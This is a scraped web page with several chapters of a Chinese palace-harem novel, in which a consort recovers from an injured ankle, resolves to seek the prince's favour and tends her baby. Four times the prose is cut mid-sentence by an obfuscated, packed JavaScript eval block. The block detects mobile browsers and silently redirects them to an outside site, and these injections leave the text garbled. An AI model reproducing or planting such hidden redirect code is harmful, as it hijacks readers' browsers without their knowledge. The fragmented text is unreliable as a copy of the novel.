;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628448|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一会儿后才唤白薇:“我想喝水。”声音里还带着刚睡醒时的慵懒,听着就仿佛是在撒娇似的。 白薇早预备着这个,忙端着杯子送到宋时繁的嘴边,宋时繁就着白薇的手喝了几口后,整个人才算清醒了过来,紧接着便想下床。 “格格快别动了,要什么吩咐奴才就是。”白薇制止道。 “现在什么时辰了?” “回格格的话,快到戌时了。” 宋时繁摸了摸肚子,“怪不得,我说怎么一起来就这么饿。” “格格方才睡着,误了晚膳的时辰,可不是要饿了,奴才已经让石桥去膳房提膳了,估摸着他也快回来了,格格再略等等,不如先喝药吧?奴才已经晾好了,这会子温热的,格格现下喝刚好。” 宋时繁却摇了摇头,她胃里饿得难受,现在喝保不齐等下就要吐出来。 “还是吃了饭再喝吧,我现在不想喝。”说罢,又喝了一大口水,抗议的肚子才算好受了些。 好在,宋时繁没等多久,石桥便提着食盒回来了。 “格格不方便走动,就在榻上吃了吧?”白薇将小炕桌搬到了宋时繁的床上,宋时繁也没拒绝,虽然现在觉着脚踝不太痛了,可那也是不动弹的情况下。 膳房那边一早就得了吩咐,知道宋格格受了伤,不能食辛辣刺激的东西,所以预备的膳食还算清淡。 两碟爽口的小菜,以及一道鲜蘑菜心,一道笋丝,一道杏仁豆腐,荤菜则是炒鸡丁,还有一盅竹荪排骨汤,除此以外,膳房还呈上来一碗鱼羹,主食是白米饭。 虽说清淡,却还算丰盛。 其实按理来讲,若是格格们病了,膳房一概都是上清粥小菜的,毕竟这时候讲究生病的人要饿,说是饿一饿病就能好了,所以病人尤其不能多吃。 可四爷知道宋时繁是个不愿意亏待五脏庙的人,又想起上回宋时繁生病没吃好时一副不高兴的样子,于是,四爷下午离开的时候,特意叫苏培盛去嘱咐了膳房一番,让他们好好准备宋格格这边的膳食,膳房得了四爷的话,自然不敢糊弄,这才有了现下一桌子荤素搭配的饭菜。 宋时繁却是不清楚这些的,还只当膳房开了窍,先盛了一小碗汤喝,顿觉鲜美异常,这便开了胃口,就着菜直吃了两小碗米饭才觉得足了。 吃饱以后宋时繁就有点坐不住了,“白薇,你来扶我一把,我想去软榻上坐坐,床上躺得腰疼...” 白薇应声上前,将宋时繁扶了起来。 宋时繁直到此刻才发现自己屋子里好像变了样。 “这些毯子是怎么回事?”宋时繁的脚底异常柔软,心里却是止不住地诧异。 她知道这些毯子价格都不菲,绝不是她一个格格库房里会有的东西,可现下她屋子里却铺满了。 “回格格话,这都是主子爷下午吩咐的,主子爷说,格格伤了脚不能动也不能穿鞋,可您必是耐不住性子的,便叫奴才们铺了这个,好叫格格别冻坏了脚。”白薇说起这个来,眉眼间均是笑意。 宋时繁闻言一愣,这竟是四爷吩咐下来的? 四爷会这么的...体贴她? 62. 心态变化 “倒是叫四爷费心了...”宋时繁垂下头沉默了一会儿后,才慢慢启唇。 白薇彼时正搀扶着宋时繁,闻言轻笑开口道:“格格说得哪里话,主子爷体贴格格多正常呀,格格应该高兴才是呢。” 应该高兴...吗? 宋时繁不再开口,借助着白薇的力量站了起来,而后小心地朝着软榻的方向挪去,因为有一只脚不能着地,所以宋时繁走得尤其慢,但触脚均是一片柔软的质地。 软塌上也铺了层厚厚的垫子,是一整块的那种,宋时繁用手摸了摸,低垂着眼,心里头乱糟糟的,像一团解不开的棉线纠缠在一起。 白薇见宋时繁愣神,面上有些疑惑:“格格仿佛不喜欢主子爷对您好,先前主子爷虽然来得少,可格格总是欢喜的,怎么如今这样...” 宋时繁心下一惊,生怕白薇瞧出端倪,随口搪塞道:“有吗?都差不多吧,你想多了...” “唉,格格总是这样的性子,从不愿与人争锋,先前府里只有您和李格格两个人,格格还能自在些,现下倒愈发....可您就算不为着自己,也得为咱们大格格想一想呀...” 白薇仍旧在碎碎念,宋时繁却悄摸儿地松了口气,知道白薇没有往深处想,只是捡了话来劝她罢了。 之前,白薇也跟她讲过类似的话,左不过都是劝她对四爷上点心,好挣个日后的前程,为她自己,也为大格格。 其实,宋时繁心里何尝不明白呢。 刚来这里的时候,又碰上了一个天崩开局,宋时繁整个人都是懵的,她也不知道应该要怎么办才好,只能不停劝自己“既来之,则安之”,她知道她就是在变相的逃避,可她又能怎么着呢? 后来发现,她倒是随遇而安了,别人却不肯放过她。 人人都道她生大格格时伤了身子,以后肯定不会再有孩子了,就连大格格也是个弱气的,能不能长成还两说呢。 说句难听的,那些人嘴上不说,可宋时繁心里明白,那些人都觉得她们母子俩是活不长的,虽不至于盼着她们两个死,但总归是抱着看笑话的心态,所以全想着来踩她一脚。 落井下石,人之本性。 可她也有不甘心,凭什么一边作践她还要一边拿她作筏子斗法? 她也不是不想反抗,但刚一冒头就被四爷按了下去,甚至连起因经过都不需要,四爷一句话,她就得跪到死,事后四爷再来,她还要笑着谢恩,福晋罚她,她还应该感激福晋贤惠宽和这才饶恕了她。 仿佛她这个人,是生是死,是贵是贱,皆在旁人的一念之间,她不能怨怪,不能憎恨,只能听话、乖巧、懂事。 至此,她才彻底明白,在这里做了妾,那她就是个玩意儿了。 她才十八岁,说实在的,她有些怕了,怕死,也怕她死了,大格格、白薇、竹苓、石桥他们,全都要死。 所以后来,她便仿着旁人的样子,学着温柔恭顺,学着怎么做一个能够存活在这个时代的女子。 她不是感觉不出四爷对她还算喜欢,甚至近日常常会来她这里,偶尔也有一两次留下来过夜,每当那个时候她都告诉自己,这对她是好事,对大格格,对她院子里的所有人都是好事,所以她应该忍耐。 她还发现,其实只要温顺些,四爷并不难相处,甚至有时候因着她就是个玩意儿的身份,四爷还会暗暗纵容两分。 慢慢儿地,她觉得日子即便就这样好像也能过得下去。 未来她将大格格平安抚养长大,再熬到四爷登基,最后混个嫔位老死宫中...一辈子就这么逃避下去也不是不行。 可然后呢?她好像没有然后了。 宋时繁扪心自问,她不愿过那样的日子。 不光她自己,她也不愿她的大格格这样蹉跎岁月,若是大格格再大一点儿,会说话了,问她为什么要这样憋屈地窝在后院里,她该怎么回答大格格呢?难不成告诉她这就是女人的命,咱们该认命吗? 白薇有一句话说得很对,那就是不为她自己也应该为大格格,她若是不肯上进一点儿,大格格日后被随意指出去,甚至送去蒙古和亲都有可能,到时候她再来后悔吗? 其实,也不是没有更进一步的可能,虽然她如今就是个格格,但四爷日后是要当皇帝的,她总有翻身的机会不是? 历史也不是没有改变的迹象,要知道原身宋氏的两个孩子都是未逾月便殇逝了,可如今,她的孩子好好地在西厢里头睡觉呢。 哪怕只是一丁点儿的可能性呢?最起码要为她的大格格争取一下吧! 如今地位低下,人人都能踩她一脚,可日后呢?总不会一辈子如此,即便是个玩意儿,那也做个不能让人随意就处置了的烫手玩意儿。 这不,眼看着四爷来得勤了,她的待遇都跟着好起来了,难道不是个好的开始吗? 宋时繁终于想通一切,缓缓将这几个月来憋在胸中的郁气吐了出来,看向白薇露出个愉悦的笑容来:“先前四爷是不是想叫我给他绣个香囊来着?咱们屋子里有合适的布料吗?” 白薇原本还在绞尽脑汁地想说辞劝宋时繁想办法争宠,忽然听见这话心下一喜,料想自家格格是开了窍,便以为自己方才的话起了作用。 “哎,有,一个香囊不费什么,格格想要什么样的料子都有!”说着,马不停蹄就要去柜子里翻找布料,还是宋时繁拦住了她。 “急什么,如今眼看着就要入夜了,还能摸黑做不成?你且预备着,明儿个再动工。”宋时繁有些好笑地开口道。 “那也是,奴才先将料子找出来格格现下好挑一挑。”到底没拦住白薇,宋时繁也就随她去了。 两个人又抱着布料子研究了好久才选出个满意的来,宋时繁都已经困得开始直打哈欠了,白薇才将将算是放过她。 好在,因着宋时繁身子有恙,一早便向正院那边告了假,这段日子都不必去给福晋请安了,所以宋时繁久违地睡了一个懒觉,直睡到日头高照才把眼睛睁开来。 一睁眼,白薇就站在近前同她说话:“格格快起来,苏公公来了。” 若是一般的奴才也便罢了,白薇她们作为宋时繁的贴身大丫鬟是可以替宋时繁接待了的,可苏公公到底是四爷身边的大太监,怎么着都得给他个面子,因此,还是要宋时繁亲自出来见一见的。 宋时繁也知道这么个理儿,匆匆坐起身让白薇帮她更衣,时间紧,头发就不梳了,只快速挽了个发髻,幸好苏培盛是太监,穿着上整齐些也就差不多了,倒也不算太失礼。 “请苏公公进来吧。”宋时繁吩咐道。 白薇应声下去,不多会儿便领着苏培盛进了内室。 “给宋格格请安了。”苏培盛进来先朝着宋时繁打千。 宋时繁见状赶紧叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659644|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起:“快免礼,苏公公太客气了,我现下不方便,倒是怠慢公公了,白薇,快赐座。” 白薇已经搬了个绣墩子出来,苏培盛推辞一二便也顺势坐下了。 “不知苏公公今日过来可是四爷有什么事要吩咐?”宋时繁率先开口问道。 苏培盛先是露出个笑来,心说如今宋格格是真真儿叫主子爷记挂上了,一大早就吩咐他来给这院儿里送赏赐不说,末了又特意叮嘱他晚点儿再来,别打扰了宋格格的清梦,瞧瞧,如此细致体贴,谁听了不要说一句宋格格得宠? 因着这个,苏培盛再对上宋时繁,便显得尤为殷勤,毕竟这种卖好的事儿苏培盛还是很愿意干的。 “吩咐谈不上,是主子爷一早起来记挂宋格格,特意叫奴才来瞧一瞧您呢,不知宋格格现下如何了?” “劳烦你替我多谢四爷的惦念,我觉得好多了,伤处也没那么疼了。”宋时繁客气道。 苏培盛闻言笑眯眯开口:“那就好,那就好,格格您好了主子爷也放心不是?另外,主子爷还叫奴才给格格带了几样东西来。” 话音刚落,苏培盛便招呼捧着东西侯在门外的小太监进来。 “宋格格您瞧,这是主子爷亲自写的字帖”苏培盛指着小太监手里的托盘道。 宋时繁一打眼就看见两本字帖整齐地摞在一起,旁边还摆放着几个精致的小瓶子。 苏培盛见宋时繁目光移到了瓶子上,面露疑惑,于是笑着解释道:“另外还有几种跌打损伤的药膏,都是上好的,也是四爷特意吩咐奴才送来的。” 原来是药膏呀,宋时繁点了点头,又给白薇使了个眼色,白薇便拿了个鼓鼓的荷包递给苏培盛。 “辛苦苏公公跑这里一趟,千万不要跟我客气,就是一点子喝茶钱,不成敬意。”宋时繁扬起唇角笑吟吟道。 苏培盛在别人看不见的角度捏了捏荷包,心道宋格格还算大方,然后便没有推辞直接收下了,这也是在给宋时繁面子,毕竟苏培盛一直跟着四爷,也不是那等眼皮子浅的人物,可不是谁的打赏都肯收的。 “那奴才就不打扰宋格格您休息了,奴才先行告退。”事情办完,苏培盛也不耽误,他还赶着回去给四爷复命呢。 “白薇快跟上去送一送苏公公。” 宋时繁朝白薇挥了挥手,苏培盛连道“不用麻烦了”,随后又对着宋时繁行了一礼,然后便带着小太监退出内室了,白薇忙跟了上去,直将人送到院门口,礼数做足了,这才回转身来。 屋子里,宋时繁正在翻看四爷送过来的字帖。 她见过四爷写的字,只是从前见到的都是行书,没想到四爷的楷书也这么漂亮,都说字如其人,之前她看四爷的行书还不觉得,如今见了楷书倒感叹果真如此,只见其字形婉转优美,结构工整流畅,整体浑然天成,正如四爷这个人一样,端方、寡言。 不过,只叹了几句,宋时繁就先让白薇将字帖收了起来,她现在没心情练字呢。 白薇将字帖放好后又问:“这药膏格格现下要不要用?” 宋时繁接过药瓶,凑到瓶口处用鼻子嗅了嗅,一闻便知是个好东西,若是仅仅用来治辽扭伤倒真有些浪费了,还是留着吧,于是她笑了笑:“也收起来吧,于太医不是开了药,先用那个。” 耽误了这么些功夫,等宋时繁彻底起床的时候,已经可以直接用午膳了。 63. 先叫狗? 今个儿的午膳还算丰盛,宋时繁照旧是在小炕桌上吃的。 刚吃完饭,白薇就端着药碗到了宋时繁跟前:“格格,该喝药了。” “这药得喝到什么时候呀...”宋时繁苦着脸问道。 白薇见状就劝宋时繁:“于太医开了三天的药,格格且再忍忍吧。” “喝完三天就不用再喝了?”宋时繁闻言眼睛亮了亮。 白薇摇了摇头:“奴才也不知,明日于太医就要来复诊了,到时奴才替您问一问。” 宋时繁叹了口气不再开口,认命般仰头把药喝光,白薇随后就将一颗蜜饯塞进宋时繁的口中,她嘴巴里的苦涩这才慢慢褪去。 “竹苓呢?我还想着一会儿让她来教我绣荷包呢。”宋时繁让白薇扶着她去了窗子前面的软榻上,刚坐下便问道。 白薇早将针线都预备齐全了,闻言一边将针线笸箩拿到宋时繁面前,一边开口道:“竹苓方才到浣衣房送衣裳去了,奴才这就找她回来。”说着就要往外走。 “瞧你,急什么,又不是什么要紧事,等她回来的吧。”宋时繁笑了笑,止住了白薇的步子。 可巧,说话间奶娘赵妈妈抱着大格格进了内室:“奴才给格格请安。” “抱着孩子呢快不必多礼了。”宋时繁说完就瞧见被奶娘抱在怀里的自家女儿一副要哭不哭的样子。 “咪咪这是怎么了呀?”宋时繁心疼坏了,一伸手就将孩子从赵妈妈手里接了过来。 “格格恕罪,大格格刚刚一直不肯午睡,奴才瞧着像是在找您的样子,便斗胆把大格格抱过来了...” 赵妈妈这话说得委实是有些战战兢兢的,毕竟当奶娘的哄不住小主子那可就是失职了,可大格格身子弱,她也不敢叫大格格一直哭,怕出事,实在没法子了只得过来找宋时繁。 大格格现在已经能认人了,小鼻子灵得很,一闻味道就知道是不是自己额娘,再加上宋时繁对待孩子一直都亲力亲为的,更别提还一直坚持着亲自给大格格喂奶,所以大格格跟宋时繁格外亲近倒也不稀奇。 以前大格格还小不知道,现在渐渐大了,一会儿见不到宋时繁就要闹起来,便是奶娘们也哄不好她,非得要宋时繁来抱才行。 这两日宋时繁因着脚受伤了,不大方便走动,所以只是饭点的时候让奶娘把孩子抱过来喂顿奶,顺便看看大格格,说起来确实是有些忽略了大格格,大格格许久不见亲额娘自然要哭了。 好在,宋时繁一将孩子抱起来,大格格马上就好了,转而玩起了宋时繁衣襟前的挂坠,小手一握一握的,宋时繁瞧着好笑,同时却又有些发愁。 不为别的,大格格如今还是只能被抱在怀里,仍旧不会坐,也不会翻身,比一般孩子到底是慢了一步,正常孩子四个月应该就能自己翻身了,扶着也是可以坐起来的。 宋时繁不担心别的,就怕自家女儿是因为大脑发育迟缓这才导致运动神经不发达,可在古代她也没法子带大格格做检查,唉,真是愁死她了。 不过一低头对上大格格软萌的小脸蛋,宋时繁叹了口气,又用脸颊贴了贴大格格的额头,引得大格格直发笑。 也罢,兴许是她想多了呢?她的孩子这样活泼可爱,肯定不会有什么问题。 宋时繁怕大格格无聊,又让曹三宝将来福抱到屋里来:“咱们咪咪最喜欢来福了是不是?” 不想大格格居然“呜呜”了两声,宋时繁当即就愣住了,一脸惊喜地问身旁的白薇:“她这是在叫来福吗?” 白薇一听就笑了,语气里带着些无奈:“格格,大格格她还不会说话呢...” 宋时繁一想也是,兴许只是凑巧吧,可当曹三宝抱着来福进来的时候,大格格又喊了两声“呜呜”,这回是冲着来福的方向喊的。 宋时繁心下确定了,自家女儿就是在叫来福,只不过她口齿不清,叫不出“来福”两个字,便喊成了“呜呜”。 ...没想到自己的女儿先喊出来的不是爹妈,也不是阿玛额娘,居然是小狗,宋时繁属实是感到有一丝无奈了。 不过转念一想,方才她还担心大格格是不是脑子发育迟钝,现下再一看,自家女儿还是很聪明的嘛,看来她的担心还真是多余了。 思及此,宋时繁当即便笑开了,吩咐众人道:“往后你们要多跟大格格说说话。”众人忙纷纷应下了。 之后,宋时繁便吩咐把来福放到地上去,曹三宝依言将狗放了下来,来福脱离了曹三宝的手以后原本还有些拘谨,不过一扭头看见主人的时候,来福立刻“汪”了一声,然后便大着胆子扭起小屁股径直朝宋时繁走来。 可走到软榻前,来福就发现自己够不着主人,但它狗心不死,只见它用两只前爪巴住榻沿,小身子则一蹦一蹦的,试图跳上软榻。 毕竟是自家主子养的狗,曹三宝每日都会把来福打理得干干净净的,就是防备着什么时候宋时繁要陪小狗玩,所以这会子来福在地毯上跳来跳去的,也不见脏。 跳了一会儿,来福终于发现自己的小短腿跳不上去,不由有些泄气,在地上转起了圈圈,急得“哼哼唧唧”的。 那小模样有趣极了,大格格看得直拍手,不会讲话就时不时地喊两声,小嗓子倒是说不出得清亮。 宋时繁见状便让赵妈妈把大格格看好:“你且把她抱好,我瞧着她这会儿也不困,就叫她在我这里玩一会儿吧,小孩子精力有限,等会儿玩累了她自己就要睡觉了。” 赵妈妈应下后就挨着塌边坐了下来,两只手牢牢圈着大格格,生怕大格格一个不小心动作大了再摔到哪里。 宋时繁见赵妈妈行事稳妥,便也放下心来,抬头正好看见竹苓从外头进来了。 “竹苓快来,格格等你呢。”白薇一瞧见竹苓,就忙将她推到了软榻前。 “是呢,快坐下,咱们屋里就你的刺绣功夫好,我等你给我当老师呢。”宋时繁笑吟吟道。 竹苓知道自家格格的性子,当下也不推辞,拈起桌子上的针线便问道:“格格想做个什么活计?” “简单点的,绣个荷包就成。” “那格格想绣点什么花纹在上头?” 宋时繁闻言沉吟了一会儿后才道:“嗯...要是太难了我也绣不出来,不若就绣一株兰草?”毕竟是给四爷的,绣花中四君子之一的兰花应该算合适吧...宋时繁如是想道。 竹苓利落地点点头:“行,那奴才先教格格针法,格格您看好...” 宋时繁忙凝神去瞧竹苓手上的动作,其余人见宋时繁认真起来,也不敢再打扰,一时间都安静了下来,屋子里只剩下宋时繁与竹苓时不时的交谈声。 直到宋时繁坐得腰酸背痛了,她才勉强能绣出几片像样的叶子来,她也知道这不是一蹴而就的功夫,于是对竹苓摆摆手道:“明个儿再继续吧,累坏了...”说着,还用手揉了揉脖子,方才一直低着头还不觉得,这会她已经感到脖子都不是自己的了。 然后,宋时繁就瞧见大格格俨然在她旁边睡熟了,就连来福都蜷缩在软榻下面打起了小呼噜,宋时繁不觉笑出了声。 来福毕竟是狗,耳朵灵着呢,宋时繁一笑它就醒了,拉长了狗身子,舒舒坦坦地伸了一个懒腰,紧跟着又甩了甩小脑袋,还哼唧了两声,仿佛在对着宋时繁撒娇。 宋时繁快被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667160|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来福这一连串的小动作给萌化了,便弯下身子撸了两把小狗。 一旁的竹苓则站起身子活动几下后,又去柜子里翻出两只美人锤来。 “格格,奴才给您敲敲背,您好松快松快。” 宋时繁第一次见古代人的按摩工具,瞧着倒是新鲜,多看了好几眼。 “咱们屋里有这个?我竟是不知道呢。”宋时繁有些好奇。 竹苓爬上软榻,跪在宋时繁的身后,一边用美人锤给宋时繁敲肩膀,一边开口道:“这是奴才趁着闲暇自己做的,今日正好拿出来给格格用。” 宋时繁偏着头闻了闻,一股隐隐地香气透过肩膀,从耳畔传了过来,“闻着好香呀。” “奴才往里头塞了些丁香、百合之类的香料,闻起来清幽不刺鼻,又有安神的功效,这还是于太医告诉奴才的呢。”竹苓轻声解释着。 “叫你费心了...”宋时繁心里熨帖,可白薇却道:“格格言重了,这点子东西哪里就费什么功夫了?” 宋时繁也知道多说无益,总归她记着身边人的好就是了。 忽而宋时繁又想起一事来:“你倒还真是提醒我了,光送个荷包没什么趣儿,香囊什么的四爷也不缺,有的是人给他做,回头咱们往荷包里塞点解乏醒神的药材,也算跟旁人有点不一样了。” “格格聪慧。”白薇称赞道。 宋时繁抿唇笑了笑,没再开口。 外面日头渐渐西沉,白薇进来点灯,又将桌子上的针线收拾了起来,宋时繁则拍了拍竹苓的手:“好了,我已经不累了,你也歇歇吧。” 竹苓点点头,却并没有歇着,而是转身出去,不一会又打了一盆热水回来,准备伺候宋时繁洗手。 “格格拿了一下午针了,泡泡手吧,奴才往里头隔了些玫瑰花露,是前个儿主子爷赏的,可是个稀罕东西,说是对皮肤好,格格的手自然要好生保养着呢。” 宋时繁却觉得这玩意儿不一定有多大用处,再说了,难不成拿两天针手就能糙了? 不过她拗不过竹苓,只得依言将手浸入水中,泡了一会后,竹苓又用毛巾仔细地把宋时繁的一双手擦净,这才算放过她。 “格格晚上想吃什么?”差不多快到用晚膳的时候了,格格们每日份例都是定的,但如果有特别想吃的,也可以拿着银子去膳房点,白薇为了以防万一宋时繁有想吃的东西,便额外问了一句。 宋时繁无可无不可道:“膳房做什么就是什么吧。”她现在出不了门,整日呆在房间里,还真没什么胃口,索性送什么吃什么得了。 白薇见状便下去跟石桥几个交代了,她们格格现下虽说在府里有点存在感了,但还算不上特别得宠,所以膳食什么的还是早早去拿了才好,否则等到后面不定给她们剩下什么菜呢。 直到这会子,大格格才悠悠转醒,也是她下午贪玩,一直舍不得睡,累着了的缘故。 “小调皮捣蛋的,额娘看你晚上还睡不睡了?”宋时繁没忍住用手指点了点自家女儿的额头。 大格格认出是自己的额娘,伸手就要宋时繁抱她,等宋时繁将她搂进怀里以后,她又不停地往宋时繁胸前拱,可见是饿了。 宋时繁忙背过身去,又换了个舒服的姿势,这才打开衣襟开始喂大格格。 她如今的奶水愈发少了,以前虽然也不算多,可一天里怎么着都能喂上两顿的,现下几乎没什么奶量了,宋时繁估摸着她怕是要回奶了。 大格格吮吸了好一会也没喝到多少,小小的一个人简直委屈坏了,一直在自家额娘怀里拱来拱去的,宋时繁只得将孩子抱给奶娘。 “赵妈妈再喂一喂她吧。” 64. 铁手赵妈妈 赵妈妈到底是过来人,闻言将大格格抱到怀里,想了想才开口道:“格格,回奶可不是一件小事情呢,万万不能轻忽了去。” 宋时繁点了点头:“说来也是怪,我身上还真没什么感觉,除了那处儿有一点点涨疼以外,其余的也并不觉得哪里难受...” 白薇同竹苓都是姑娘家,这会子俨然已经听不懂自家格格跟赵妈妈在说些什么了,只仿佛知道是关于给大格格喂奶的事。 二人面面相觑,白薇出于谨慎询问宋时繁道:“格格您可是有哪里不舒服吗?莫不如明个儿让于太医顺便给您瞧一瞧?” 宋时繁本来还有些郁闷自己怎么这么快就开始回奶,她原先还想着再多喂大格格一段时间呢,谁知忽然听见白薇的话,又见白薇一派懵懂天真的样子,便“噗嗤”一声笑了出来,直笑得整个人都花枝乱颤起来。 白薇犹自弄不明白是怎么回事,赵妈妈见状也含笑道:“白薇姑娘还年轻,有所不知,女人家的那处儿可不能随意叫太医瞧见。” 说罢,赵妈妈又看向宋时繁:“格格应该也了解过,有那妇人产后不注意保养的,身子垮了不说,就是身材也跟着不好看起来,不瞒格格说,奴才有套祖上传下来的按摩手法,若是格格信得过奴才,便让奴才每日帮您按摩一下,虽说不一定能让格格比生产前更好,但总归是有些用处的。” 赵妈妈一番话说得谦虚,但宋时繁倒是听明白了,这大概算是清朝时候的产后康复训练吧?想来她们这些入府做乳母的应该还是有些家传技巧在身上的。 因此,宋时繁略一思索便点头同意此事了,反正甭管有用还是没用,聊胜于无了。 可真当赵妈妈开始给宋时繁按摩的时候,她才知道,什么聊胜于无都是骗人的,赵妈妈何止能帮着做胸部复健,那可谓是从上到下,包括肚子、盆骨那一块赵妈妈都按了个遍,宋时繁至此才算知道,赵妈妈还真是有两把刷子在身上的。 而且,别看赵妈妈是个女子,其实她手劲儿特别大,配合着她的按摩手法,宋时繁差点疼死在床榻上。 每当宋时繁受不住想逃跑的时候,赵妈妈都跟拎小鸡仔儿似的将宋时繁拽回来,嘴里还不住轻柔道:“按摩的时候是有些疼,格格且忍耐一下吧。”可甭管嘴上说得多好听,赵妈妈手上的动作仍旧一丝不苟,连力道都丁点儿没有改变。 宋时繁疼得眼泪水一直在眼眶不停地打转,嘴巴里还哀哀叫着痛,眼看赵妈妈是绝对不会手下留情了,宋时繁只得将求助的目光投向站在一旁的白薇和竹苓,泪光闪闪,呻吟不断,看着就好不可怜。 白薇和竹苓也心疼自家格格,可她们两个刚想开口问赵妈妈能不能轻一点的时候,赵妈妈就已经率先偏头对她两道:“姑娘们,我这也是为了咱们格格好。” 只这一句话,就把二人击得溃不成军。 竹苓一咬牙,上前握住宋时繁的手,心疼地开口:“格格若是疼得厉害了,就抓着奴才的手吧,奴才不怕疼。” 白薇的脸上也挂着泪花:“对,格格抓着奴才们,奴才们皮糙肉厚不怕疼。” 在白薇和竹苓的柔情攻势下,宋时繁也不好意思喊疼了,索性直接把头蒙进棉被里来麻痹自己,假装她已经是个没感觉的死人了。 不过,赵妈妈的按摩手法确实很不错,才短短几天的功夫,宋时繁身上的肌肤眼看着就紧致许多,就连腰身都跟着小了一圈。 但该小的地方小了,该大的地方却也没闲着。 宋时繁原先因为生了孩子的缘故胸部已经大了不少,现下不光大,还十分挺拔,把宋时繁看得啧啧称奇,幸好平日里宋时繁穿的都是清朝的旗装,这衣裳上下一样宽,管她多有料都看不太出来,否则,她怕是要不好意思出门了。 并且,在效果如此显著的情况下,白薇和竹苓也化身成为赵妈妈的得力干将,每日一到晚间便催促宋时繁上床,好叫赵妈妈帮她按摩身体。 当然,这些都是后话了,说回今日第一次被赵妈妈按摩完以后,宋时繁就出了一身的汗,明明是躺着被按摩,可完事儿后她却连一根手指头都动不了了,还是白薇和竹苓打了热水过来,又拧了毛巾给宋时繁擦的身子,宋时繁显然累坏了,等白薇和竹苓动作完,她往被子里一滚就闭上眼睛迷糊过去了。 这一觉睡得既深且沉,最后是被白薇喊醒的。 “格格快醒醒,要起来更衣了,于太医来复诊了。”太医不比太监,到底是外男,不能太过随意,宋时繁只得依言起身,由着白薇帮她换衣裳。 好容易收拾妥当,这才传了于太医进来。 “抱歉,让于太医久等了。”宋时繁有些谦然道。 于太医不在意地摆摆手,又示意宋时繁把手放到脉枕上,白薇则在上头 盖了一块丝帕,于太医这才上前开始帮宋时繁诊脉。 “格格今日感觉如何?” 宋时繁思索片刻后开口道:“好像没有当时那么疼了,如今只隐隐疼着,但还不能走路...” 于太医点点头,“格格现下确实还不宜动弹,不过微臣瞧格格恢复的情况不错,想必不出半月就该好全了。” 宋时繁闻言笑了笑:“那敢情好,多谢于太医为我费心了。” “微臣上次给格格开的药可吃完了?” 宋时繁看向白薇,白薇忙回答道:“回于太医的话,上次的药还剩下两剂。” “那便罢了,不用再喝了,微臣给格格再开一副外敷的药方,格格每日涂抹在伤处也就是了,若格格方便的话,早晚叫丫鬟各热敷一次就最好不过了。” “多谢于太医,我记下了。”这句话被宋时繁说得无比真情实感,毕竟好好的谁都不愿意一直喝苦药汁子。 于太医仿佛洞悉了宋时繁的想法,话锋一转又道:“先前的药不用喝了,可仍有旁的药要喝。” 果不其然,宋时繁听了这话吓了一跳,差点被自己的口水呛到,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13679084|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咳咳...咳,不是说快好了,不用再喝了吗?” “扭伤处是快要好了,可先前四爷吩咐下来要帮格格调养身子,微臣实是不敢耽搁。”于太医慢悠悠道。 宋时繁想说...还能说什么呢,老老实实喝药呗。 白薇领着于太医去侧间开好了药方,便打算送于太医出去,临走的时候,白薇塞了一大包银子到于太医手上。 这是宋时繁一早就吩咐下来的,之前于太医来的时候四爷在旁边,她们没给赏赐也在情理之中,毕竟四爷肯定会给的,可今日是宋时繁单独见的太医,即便肉痛不已,也应该意思一下的,跟太医搞好关系,宋时繁觉得还是很有必要的。 “劳驾于太医今日特意为我们宋格格跑一趟,我们格格心里过意不去,这是格格给您的诊金,您一定要收下。”白薇笑吟吟说道。 “姑娘言重了,微臣也是按吩咐做事。”于太医推辞了两句,而后见白薇坚持,便也顺水推舟收下了,这是他们太医到各家府里出诊的规矩,倒是不算什么。 之后,白薇更是将于太医送至门口这才回去禀报宋时繁。 “格格,上次您问于太医要的避孕药材,太医也已经开好方子了,奴才等会儿就去药房一并将这些药材都领回来,格格还有旁的吩咐没有?” 若是别的跑腿事项,白薇一般都是分给石桥他们几个小太监做的,但宋时繁的药材她还是亲自去取了才放心,这几天她给宋时繁煎药的时候也是亲力亲为,从熬药一直到递给宋时繁,全程都没有离开过白薇的视线。 